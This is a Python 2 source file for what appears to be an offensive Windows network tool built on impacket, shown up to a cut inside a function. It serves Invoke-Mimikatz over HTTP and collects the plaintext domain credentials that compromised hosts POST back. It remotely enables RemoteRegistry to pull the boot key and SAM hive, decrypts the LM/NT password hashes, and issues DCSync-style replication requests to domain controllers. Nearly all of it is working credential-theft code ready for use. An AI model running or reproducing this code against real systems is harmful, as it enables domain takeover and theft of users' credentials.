#!/usr/bin/env python2

#This must be one of the first imports or else we get threading error on completion
from gevent import monkey
monkey.patch_all()

from gevent import sleep
from gevent.pool import Pool
from gevent import joinall
from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
from threading import Thread
from base64 import b64encode
from struct import unpack, pack
from collections import OrderedDict
from impacket import smbserver, ntlm, winregistry
from impacket.dcerpc.v5 import transport, scmr, samr, drsuapi, rrp, tsch, srvs, wkst, epm
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL, OWNER_SECURITY_INFORMATION
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.ese import ESENT_DB
from impacket.structure import Structure
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.nmb import NetBIOSError
from impacket.smbconnection import *
from BaseHTTPServer import BaseHTTPRequestHandler
from argparse import RawTextHelpFormatter
from binascii import unhexlify, hexlify
from Crypto.Cipher import DES, ARC4
from datetime import datetime
from time import ctime, time
from termcolor import cprint, colored

import StringIO
import ntpath
import socket
import hashlib
import BaseHTTPServer
import logging
import argparse
import traceback
import ConfigParser
import random
import sys
import os
import string

PERM_DIR = ''.join(random.sample(string.ascii_letters, 10))
OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10))
BATCH_FILENAME  = ''.join(random.sample(string.ascii_letters, 10)) + '.bat'
SMBSERVER_DIR   = 'served_over_smb'
DUMMY_SHARE     = 'TMP'

print_error  = lambda x: cprint("[-] ", 'red', attrs=['bold'], end=x+'\n')
print_status = lambda x: cprint("[*] ", 'blue', attrs=['bold'], end=x+'\n')
print_succ   = lambda x: cprint("[+] ", 'green', attrs=['bold'], end=x+'\n')
print_att    = lambda x: cprint(x, 'yellow', attrs=['bold'])
yellow = lambda x: colored(x, 'yellow', attrs=['bold'])
green  = lambda x: colored(x, 'green', attrs=['bold'])
red    = lambda x: colored(x, 'red', attrs=['bold'])

# Structures
# Taken from http://insecurety.net/?p=768
class SAM_KEY_DATA(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Length','<L=0'),
        ('Salt','16s=""'),
        ('Key','16s=""'),
        ('CheckSum','16s=""'),
        ('Reserved','<Q=0'),
    )

class DOMAIN_ACCOUNT_F(Structure):
    structure = (
        ('Revision','<L=0'),
        ('Unknown','<L=0'),
        ('CreationTime','<Q=0'),
        ('DomainModifiedCount','<Q=0'),
        ('MaxPasswordAge','<Q=0'),
        ('MinPasswordAge','<Q=0'),
        ('ForceLogoff','<Q=0'),
        ('LockoutDuration','<Q=0'),
        ('LockoutObservationWindow','<Q=0'),
        ('ModifiedCountAtLastPromotion','<Q=0'),
        ('NextRid','<L=0'),
        ('PasswordProperties','<L=0'),
        ('MinPasswordLength','<H=0'),
        ('PasswordHistoryLength','<H=0'),
        ('LockoutThreshold','<H=0'),
        ('Unknown2','<H=0'),
        ('ServerState','<L=0'),
        ('ServerRole','<H=0'),
        ('UasCompatibilityRequired','<H=0'),
        ('Unknown3','<Q=0'),
        ('Key0',':', SAM_KEY_DATA),
# Commenting this, not needed and not present on Windows 2000 SP0
#        ('Key1',':', SAM_KEY_DATA),
#        ('Unknown4','<L=0'),
    )

# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm
class USER_ACCOUNT_V(Structure):
    structure = (
        ('Unknown','12s=""'),
        ('NameOffset','<L=0'),
        ('NameLength','<L=0'),
        ('Unknown2','<L=0'),
        ('FullNameOffset','<L=0'),
        ('FullNameLength','<L=0'),
        ('Unknown3','<L=0'),
        ('CommentOffset','<L=0'),
        ('CommentLength','<L=0'),
        ('Unknown3','<L=0'),
        ('UserCommentOffset','<L=0'),
        ('UserCommentLength','<L=0'),
        ('Unknown4','<L=0'),
        ('Unknown5','12s=""'),
        ('HomeDirOffset','<L=0'),
        ('HomeDirLength','<L=0'),
        ('Unknown6','<L=0'),
        ('HomeDirConnectOffset','<L=0'),
        ('HomeDirConnectLength','<L=0'),
        ('Unknown7','<L=0'),
        ('ScriptPathOffset','<L=0'),
        ('ScriptPathLength','<L=0'),
        ('Unknown8','<L=0'),
        ('ProfilePathOffset','<L=0'),
        ('ProfilePathLength','<L=0'),
        ('Unknown9','<L=0'),
        ('WorkstationsOffset','<L=0'),
        ('WorkstationsLength','<L=0'),
        ('Unknown10','<L=0'),
        ('HoursAllowedOffset','<L=0'),
        ('HoursAllowedLength','<L=0'),
        ('Unknown11','<L=0'),
        ('Unknown12','12s=""'),
        ('LMHashOffset','<L=0'),
        ('LMHashLength','<L=0'),
        ('Unknown13','<L=0'),
        ('NTHashOffset','<L=0'),
        ('NTHashLength','<L=0'),
        ('Unknown14','<L=0'),
        ('Unknown15','24s=""'),
        ('Data',':=""'),
    )

class NL_RECORD(Structure):
    structure = (
        ('UserLength','<H=0'),
        ('DomainNameLength','<H=0'),
        ('EffectiveNameLength','<H=0'),
        ('FullNameLength','<H=0'),
        ('MetaData','52s=""'),
        ('FullDomainLength','<H=0'),
        ('Length2','<H=0'),
        ('CH','16s=""'),
        ('T','16s=""'),
        ('EncryptedData',':'),
    )


class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
    structure = (
        ('Value','6s'),
    )

class SAMR_RPC_SID(Structure):
    structure = (
        ('Revision','<B'),
        ('SubAuthorityCount','<B'),
        ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
        ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
        ('SubAuthority',':'),
    )

    def formatCanonical(self):
       ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5]))
       for i in range(self['SubAuthorityCount']):
           ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
       return ans

class MimikatzServer(BaseHTTPRequestHandler):

    def do_GET(self):
        if self.path == "/Invoke-Mimikatz.ps1":
            self.send_response(200)
            self.end_headers()
            with open('served_over_http/Invoke-Mimikatz.ps1', 'r') as script:
                self.wfile.write(script.read())

        elif self.path == "/Invoke-NinjaCopy.ps1":
            self.send_response(200)
            self.end_headers()
            with open('served_over_http/Invoke-NinjaCopy.ps1', 'r') as script:
                self.wfile.write(script.read())
        else:
            self.send_response(404)
            self.end_headers()

    def do_POST(self):
        self.send_response(200)
        self.end_headers()
        length = int(self.headers.getheader('content-length'))
        data = self.rfile.read(length)

        buf = StringIO.StringIO(data).readlines()
        i = 0
        while i < len(buf):
            if ('Password' in buf[i]) and ('(null)' not in buf[i]):
                passw  = buf[i].split(':')[1].strip()
                domain = buf[i-1].split(':')[1].strip()
                user   = buf[i-2].split(':')[1].strip()
                print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw)))
            i += 1

        credsfile_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S"))
        with open('logs/' + credsfile_name, 'w') as creds:
            creds.write(data)
        print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(credsfile_name)))

class SMBServer(Thread):
    def __init__(self):
        Thread.__init__(self)

    def run(self):
        # Here we write a mini config for the server
        smbConfig = ConfigParser.ConfigParser()
        smbConfig.add_section('global')
        smbConfig.set('global','server_name','yomama')
        smbConfig.set('global','server_os','REDSTAR')
        smbConfig.set('global','server_domain','WORKGROUP')
        smbConfig.set('global','log_file', 'smb.log')
        smbConfig.set('global','credentials_file','')

        # Let's add a dummy share
        smbConfig.add_section(DUMMY_SHARE)
        smbConfig.set(DUMMY_SHARE,'comment','')
        smbConfig.set(DUMMY_SHARE,'read only','no')
        smbConfig.set(DUMMY_SHARE,'share type','0')
        smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)

        # IPC always needed
        smbConfig.add_section('IPC$')
        smbConfig.set('IPC$','comment','')
        smbConfig.set('IPC$','read only','yes')
        smbConfig.set('IPC$','share type','3')
        smbConfig.set('IPC$','path')

        self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)

        self.smb.processConfigFile()
        try:
            self.smb.serve_forever()
        except:
            pass

    def stop(self):
        self.smb.socket.close()
        self.smb.server_close()
        self._Thread__stop()

class OfflineRegistry:
    def __init__(self, hiveFile = None, isRemote = False):
        self.__hiveFile = hiveFile
        if self.__hiveFile is not None:
            self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)

    def enumKey(self, searchKey):
        parentKey = self.__registryHive.findKey(searchKey)

        if parentKey is None:
            return

        keys = self.__registryHive.enumKey(parentKey)

        return keys

    def enumValues(self, searchKey):
        key = self.__registryHive.findKey(searchKey)

        if key is None:
            return

        values = self.__registryHive.enumValues(key)

        return values

    def getValue(self, keyValue):
        value = self.__registryHive.getValue(keyValue)

        if value is None:
            return

        return value

    def getClass(self, className):
        value = self.__registryHive.getClass(className)

        if value is None:
            return

        return value

    def finish(self):
        if self.__hiveFile is not None:
            # Remove temp file and whatever else is needed
            self.__registryHive.close()

class SAMHashes(OfflineRegistry):
    def __init__(self, samFile, bootKey, isRemote = True):
        OfflineRegistry.__init__(self, samFile, isRemote)
        self.__samFile = samFile
        self.__hashedBootKey = ''
        self.__bootKey = bootKey
        self.__cryptoCommon = CryptoCommon()
        self.__itemsFound = {}

    def MD5(self, data):
        md5 = hashlib.new('md5')
        md5.update(data)
        return md5.digest()

    def getHBootKey(self):
        #logging.debug('Calculating HashedBootKey from SAM')
        QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
        DIGITS = "0123456789012345678901234567890123456789\0"

        F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]

        domainData = DOMAIN_ACCOUNT_F(F)

        rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)

        rc4 = ARC4.new(rc4Key)
        self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])

        # Verify key with checksum
        checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)

        if checkSum != self.__hashedBootKey[16:]:
            raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')

    def __decryptHash(self, rid, cryptedHash, constant):
        # Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
        # plus hashedBootKey stuff
        Key1,Key2 = self.__cryptoCommon.deriveKey(rid)

        Crypt1 = DES.new(Key1, DES.MODE_ECB)
        Crypt2 = DES.new(Key2, DES.MODE_ECB)

        rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
        rc4 = ARC4.new(rc4Key)
        key = rc4.encrypt(cryptedHash)

        decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])

        return decryptedHash

    def dump(self):
        NTPASSWORD = "NTPASSWORD\0"
        LMPASSWORD = "LMPASSWORD\0"

        if self.__samFile is None:
            # No SAM file provided
            return

        sam_hashes = []

        #logging.info('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
        self.getHBootKey()

        usersKey = 'SAM\\Domains\\Account\\Users'

        # Enumerate all the RIDs
        rids = self.enumKey(usersKey)
        # Remove the Names item
        try:
            rids.remove('Names')
        except:
            pass

        for rid in rids:
            userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
            rid = int(rid,16)

            V = userAccount['Data']

            userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')

            if userAccount['LMHashLength'] == 20:
                encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
            else:
                encLMHash = ''

            if userAccount['NTHashLength'] == 20:
                encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
            else:
                encNTHash = ''

            lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
            ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)

            if lmHash == '':
                lmHash = ntlm.LMOWFv1('','')
            if ntHash == '':
                ntHash = ntlm.NTOWFv1('','')

            answer =  "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
            self.__itemsFound[rid] = answer
            sam_hashes.append(answer)

        return sam_hashes

    def export(self, fileName):
        if len(self.__itemsFound) > 0:
            items = sorted(self.__itemsFound)
            fd = open(fileName+'.sam','w+')
            for item in items:
                fd.write(self.__itemsFound[item]+'\n')
            fd.close()

class CryptoCommon:
    # Common crypto stuff used over different classes
    def transformKey(self, InputKey):
        # Section 2.2.11.1.2 Encrypting a 64-Bit Block with a 7-Byte Key
        OutputKey = []
        OutputKey.append( chr(ord(InputKey[0]) >> 0x01) )
        OutputKey.append( chr(((ord(InputKey[0])&0x01)<<6) | (ord(InputKey[1])>>2)) )
        OutputKey.append( chr(((ord(InputKey[1])&0x03)<<5) | (ord(InputKey[2])>>3)) )
        OutputKey.append( chr(((ord(InputKey[2])&0x07)<<4) | (ord(InputKey[3])>>4)) )
        OutputKey.append( chr(((ord(InputKey[3])&0x0F)<<3) | (ord(InputKey[4])>>5)) )
        OutputKey.append( chr(((ord(InputKey[4])&0x1F)<<2) | (ord(InputKey[5])>>6)) )
        OutputKey.append( chr(((ord(InputKey[5])&0x3F)<<1) | (ord(InputKey[6])>>7)) )
        OutputKey.append( chr(ord(InputKey[6]) & 0x7F) )

        for i in range(8):
            OutputKey[i] = chr((ord(OutputKey[i]) << 1) & 0xfe)

        return "".join(OutputKey)

    def deriveKey(self, baseKey):
        # 2.2.11.1.3 Deriving Key1 and Key2 from a Little-Endian, Unsigned Integer Key
        # Let I be the little-endian, unsigned integer.
        # Let I[X] be the Xth byte of I, where I is interpreted as a zero-base-index array of bytes.
        # Note that because I is in little-endian byte order, I[0] is the least significant byte.
        # Key1 is a concatenation of the following values: I[0], I[1], I[2], I[3], I[0], I[1], I[2].
        # Key2 is a concatenation of the following values: I[3], I[0], I[1], I[2], I[3], I[0], I[1]
        key = pack('<L',baseKey)
        key1 = key[0] + key[1] + key[2] + key[3] + key[0] + key[1] + key[2]
        key2 = key[3] + key[0] + key[1] + key[2] + key[3] + key[0] + key[1]
        return self.transformKey(key1),self.transformKey(key2)

class RemoteFile:
    def __init__(self, smbConnection, fileName):
        self.__smbConnection = smbConnection
        self.__fileName = fileName
        self.__tid = self.__smbConnection.connectTree('ADMIN$')
        self.__fid = None
        self.__currentOffset = 0

    def open(self):
        self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName)

    def seek(self, offset, whence):
        # Implement whence, for now it's always from the beginning of the file
        if whence == 0:
            self.__currentOffset = offset

    def read(self, bytesToRead):
        if bytesToRead > 0:
            data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
            self.__currentOffset += len(data)
            return data
        return ''

    def close(self):
        if self.__fid is not None:
            self.__smbConnection.closeFile(self.__tid, self.__fid)
            self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
            self.__fid = None

    def tell(self):
        return self.__currentOffset

    def __str__(self):
        return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)

class RemoteOperations:
    def __init__(self, smbConnection):
        self.__smbConnection = smbConnection
        self.__smbConnection.setTimeout(5*60)
        self.__serviceName = 'RemoteRegistry'
        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
        self.__rrp = None
        self.__regHandle = None

        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
        self.__samr = None
        self.__domainHandle = None
        self.__domainName = None

        self.__drsr = None
        self.__hDrs = None
        self.__NtdsDsaObjectGuid = None
        self.__doKerberos = None

        self.__bootKey = ''
        self.__disabled = False
        self.__shouldStop = False
        self.__started = False

        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
        self.__scmr = None
        self.__tmpServiceName = None
        self.__serviceDeleted = False

        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME 
        self.__shell = '%COMSPEC% /Q /c '
        self.__output = '%SYSTEMROOT%\\Temp\\' + OUTPUT_FILENAME
        self.__answerTMP = ''

    def __connectSvcCtl(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
        rpc.set_smb_connection(self.__smbConnection)
        self.__scmr = rpc.get_dce_rpc()
        self.__scmr.connect()
        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)

    def __connectWinReg(self):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
        rpc.set_smb_connection(self.__smbConnection)
        self.__rrp = rpc.get_dce_rpc()
        self.__rrp.connect()
        self.__rrp.bind(rrp.MSRPC_UUID_RRP)

    def connectSamr(self, domain):
        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
        rpc.set_smb_connection(self.__smbConnection)
        self.__samr = rpc.get_dce_rpc()
        self.__samr.connect()
        self.__samr.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(self.__samr)
        serverHandle = resp['ServerHandle']

        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
        self.__domainHandle = resp['DomainHandle']
        self.__domainName = domain

    def __connectDrds(self):
        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
                                     protocol='ncacn_ip_tcp')
        rpc = transport.DCERPCTransportFactory(stringBinding)
        if hasattr(rpc, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            rpc.set_credentials(*(self.__smbConnection.getCredentials()))
            rpc.set_kerberos(self.__doKerberos)
        self.__drsr = rpc.get_dce_rpc()
        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        if self.__doKerberos:
            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
        self.__drsr.connect()
        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)

        request = drsuapi.DRSBind()
        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
        drs = drsuapi.DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | drsuapi.DRS_EXT_STRONG_ENCRYPTION
        drs['SiteObjGuid'] = drsuapi.NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = drsuapi.DRS_EXT_RECYCLE_BIN
        drs['ConfigObjGUID'] = drsuapi.NULLGUID
        drs['dwExtCaps'] = 0
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(str(drs))
        resp = self.__drsr.request(request)

        self.__hDrs = resp['phDrs']

        # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges
        resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2)

        if resp['pmsgOut']['V2']['cItems'] > 0:
            self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid']
        else:
            logging.error("Couldn't get DC info for domain %s" % self.__domainName)
            raise Exception('Fatal, aborting')

    def getDrsr(self):
        return self.__drsr

    def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME,
                      formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''):
        if self.__drsr is None:
            self.__connectDrds()

        resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,))
        return resp

    def DRSGetNCChanges(self, userEntry):
        if self.__drsr is None:
            self.__connectDrds()

        request = drsuapi.DRSGetNCChanges()
        request['hDrs'] = self.__hDrs
        request['dwInVersion'] = 8

        request['pmsgIn']['tag'] = 8
        request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid
        request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid

        dsName = drsuapi.DSNAME()
        dsName['SidLen'] = 0
        dsName['Guid'] = drsuapi.NULLGUID
        dsName['Sid'] = ''
        dsName['NameLen'] = len(userEntry)
        dsName['StringName'] = (userEntry + '\x00')

        dsName['structLen'] = len(dsName.getData())

        request['pmsgIn']['V8']['pNC'] = dsName

        request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0
        request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0

        request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL

        request['pmsgIn']['V8']['ulFlags'] =  drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP
        request['pmsgIn']['V8']['cMaxObjects'] = 1
        request['pmsgIn']['V8']['cMaxBytes'] = 0
        request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ
        request['pmsgIn']['V8']['pPartialAttrSet'] = NULL
        request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL
        request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = NULL

        return self.__drsr.request(request)

    def getDomainUsers(self, enumerationContext=0):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])

        try:
            resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle,
                                                    userAccountControl=samr.USER_NORMAL_ACCOUNT | \
                                                                       samr.USER_WORKSTATION_TRUST_ACCOUNT | \
                                                                       samr.USER_SERVER_TRUST_ACCOUNT |\
                                                                       samr.USER_INTERDOMAIN_TRUST_ACCOUNT,
                                                    enumerationContext=enumerationContext)
        except DCERPCException, e:
            if str(e).find('STATUS_MORE_ENTRIES') < 0:
                raise
            resp = e.get_packet()
        return resp

    def ridToSid(self, rid):
        if self.__samr is None:
            self.connectSamr(self.getMachineNameAndDomain()[1])
        resp = samr.hSamrRidToSid(self.__samr, self.__domainHandle , rid)
        return resp['Sid']

    def getMachineNameAndDomain(self):
        if self.__smbConnection.getServerName() == '':
            # No serverName.. this is either because we're doing Kerberos
            # or not receiving that data during the login process.
            # Let's try getting it through RPC
            rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]')
            rpc.set_smb_connection(self.__smbConnection)
            dce = rpc.get_dce_rpc()
            dce.connect()
            dce.bind(wkst.MSRPC_UUID_WKST)
            resp = wkst.hNetrWkstaGetInfo(dce, 100)
            dce.disconnect()
            return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100']['wki100_langroup'][:-1]
        else:
            return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain()

    def getDefaultLoginAccount(self):
        try:
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon')
            keyHandle = ans['phkResult']
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName')
            username = dataValue[:-1]
            dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName')
            domain = dataValue[:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
            if len(domain) > 0:
                return '%s\\%s' % (domain,username)
            else:
                return username
        except:
            return None

    def getServiceAccount(self, serviceName):
        try:
            # Open the service
            ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName)
            serviceHandle = ans['lpServiceHandle']
            resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle)
            account = resp['lpServiceConfig']['lpServiceStartName'][:-1]
            scmr.hRCloseServiceHandle(self.__scmr, serviceHandle)
            if account.startswith('.\\'):
                account = account[2:]
            return account
        except Exception, e:
            logging.error(e)
            return None

    def __checkServiceStatus(self):
        # Open SC Manager
        ans = scmr.hROpenSCManagerW(self.__scmr)
        self.__scManagerHandle = ans['lpScHandle']
        # Now let's open the service
        ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName)
        self.__serviceHandle = ans['lpServiceHandle']
        # Let's check its status
        ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle)
        if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED:
            logging.info('Service %s is in stopped state'% self.__serviceName)
            self.__shouldStop = True
            self.__started = False
        elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING:
            logging.debug('Service %s is already running'% self.__serviceName)
            self.__shouldStop = False
            self.__started  = True
        else:
            raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState'])

        # Let's check its configuration if service is stopped, maybe it's disabled :s
        if self.__started is False:
            ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle)
            if ans['lpServiceConfig']['dwStartType'] == 0x4:
                logging.info('Service %s is disabled, enabling it'% self.__serviceName)
                self.__disabled = True
                scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3)
            logging.info('Starting service %s' % self.__serviceName)
            scmr.hRStartServiceW(self.__scmr,self.__serviceHandle)
            sleep(1)

    def enableRegistry(self):
        self.__connectSvcCtl()
        self.__checkServiceStatus()
        self.__connectWinReg()

    def __restore(self):
        # First of all stop the service if it was originally stopped
        if self.__shouldStop is True:
            logging.info('Stopping service %s' % self.__serviceName)
            scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP)
        if self.__disabled is True:
            logging.info('Restoring the disabled state for service %s' % self.__serviceName)
            scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4)
        if self.__serviceDeleted is False:
            # Check again the service we created does not exist, starting a new connection
            # Why?.. Hitting CTRL+C might break the whole existing DCE connection
            try:
                rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost())
                if hasattr(rpc, 'set_credentials'):
                    # This method exists only for selected protocol sequences.
                    rpc.set_credentials(*self.__smbConnection.getCredentials())
                    rpc.set_kerberos(self.__doKerberos)
                self.__scmr = rpc.get_dce_rpc()
                self.__scmr.connect()
                self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
                # Open SC Manager
                ans = scmr.hROpenSCManagerW(self.__scmr)
                self.__scManagerHandle = ans['lpScHandle']
                # Now let's open the service
                resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName)
                service = resp['lpServiceHandle']
                scmr.hRDeleteService(self.__scmr, service)
                scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
                scmr.hRCloseServiceHandle(self.__scmr, service)
                scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle)
                scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle)
                rpc.disconnect()
            except Exception, e:
                # If service is stopped it'll trigger an exception
                # If service does not exist it'll trigger an exception
                # So. we just wanna be sure we delete it, no need to 
                # show this exception message
                pass

    def finish(self):
        self.__restore()
        if self.__rrp is not None:
            self.__rrp.disconnect()
        if self.__drsr is not None:
            self.__drsr.disconnect()
        if self.__samr is not None:
            self.__samr.disconnect()
        if self.__scmr is not None:
            self.__scmr.disconnect()

    def getBootKey(self):
        bootKey = ''
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']
        for key in ['JD','Skew1','GBG','Data']:
            logging.debug('Retrieving class info for %s'% key)
            ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa\\%s' % key)
            keyHandle = ans['phkResult']
            ans = rrp.hBaseRegQueryInfoKey(self.__rrp,keyHandle)
            bootKey = bootKey + ans['lpClassOut'][:-1]
            rrp.hBaseRegCloseKey(self.__rrp, keyHandle)

        transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]

        bootKey = unhexlify(bootKey)

        for i in xrange(len(bootKey)):
            self.__bootKey += bootKey[transforms[i]]

        logging.info('Target system bootKey: 0x%s' % hexlify(self.__bootKey))

        return self.__bootKey

    def checkNoLMHashPolicy(self):
        logging.debug('Checking NoLMHash Policy')
        ans = rrp.hOpenLocalMachine(self.__rrp)
        self.__regHandle = ans['phKey']

        ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SYSTEM\\CurrentControlSet\\Control\\Lsa')
        keyHandle = ans['phkResult']
        try:
            dataType, noLMHash = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'NoLmHash')
        except:
            noLMHash = 0

        if noLMHash != 1:
            logging.debug('LMHashes are being stored')
            return False

        logging.debug('LMHashes are NOT being stored')
        return True

    def __retrieveHive(self, hiveName):
        tmpFileName = ''.join([random.choice(string.letters) for _ in range(8)]) + '.tmp'
        ans = rrp.hOpenLocalMachine(self.__rrp)
        regHandle = ans['phKey']
        try:
            ans = rrp.hBaseRegCreateKey(self.__rrp, regHandle, hiveName)
        except:
            raise Exception("Can't open %s hive" % hiveName)
        keyHandle = ans['phkResult']
        rrp.hBaseRegSaveKey(self.__rrp, keyHandle, tmpFileName)
        rrp.hBaseRegCloseKey(self.__rrp, keyHandle)
        rrp.hBaseRegCloseKey(self.__rrp, regHandle)
        # Now let's open the remote file, so it can be read later
        remoteFileName = RemoteFile(self.__smbConnection, 'SYSTEM32\\'+tmpFileName)
        return remoteFileName

    def saveSAM(self):
        logging.debug('Saving remote SAM database')
        return self.__retrieveHive('SAM')

    def saveSECURITY(self):
        logging.debug('Saving remote SECURITY database')
